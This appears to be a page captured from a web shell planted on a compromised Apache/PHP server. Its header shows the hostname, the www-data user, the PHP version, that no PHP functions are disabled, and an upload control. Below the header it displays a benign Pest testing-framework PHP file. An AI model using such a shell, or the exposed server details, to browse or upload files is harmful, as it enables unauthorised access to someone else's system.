GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/vendor/pestphp/pest/src/Repositories/AfterEachRepository.php
<?php

declare(strict_types=1);

namespace Pest\Repositories;

use Closure;
use Mockery;
use Pest\PendingCalls\AfterEachCall;
use Pest\Support\ChainableClosure;
use Pest\Support\NullClosure;

/**
 * @internal
 */
final class AfterEachRepository
{
    /**
     * @var array<string, Closure>
     */
    private array $state = [];

    /**
     * Sets a after each closure.
     */
    public function set(string $filename, AfterEachCall $afterEachCall, Closure $afterEachTestCase): void
    {
        if (array_key_exists($filename, $this->state)) {
            $fromAfterEachTestCase = $this->state[$filename];

            $afterEachTestCase = ChainableClosure::bound($fromAfterEachTestCase, $afterEachTestCase)
                ->bindTo($afterEachCall, $afterEachCall::class);
        }

        assert($afterEachTestCase instanceof Closure);

        $this->state[$filename] = $afterEachTestCase;
    }

    /**
     * Gets an after each closure by the given filename.
     */
    public function get(string $filename): Closure
    {
        $afterEach = $this->state[$filename] ?? NullClosure::create();

        return ChainableClosure::bound(function (): void {
            if (class_exists(Mockery::class)) {
                if ($container = Mockery::getContainer()) {
                    /* @phpstan-ignore-next-line */
                    $this->addToAssertionCount($container->mockery_getExpectationCount());
                }

                Mockery::close();
            }
        }, $afterEach);
    }
}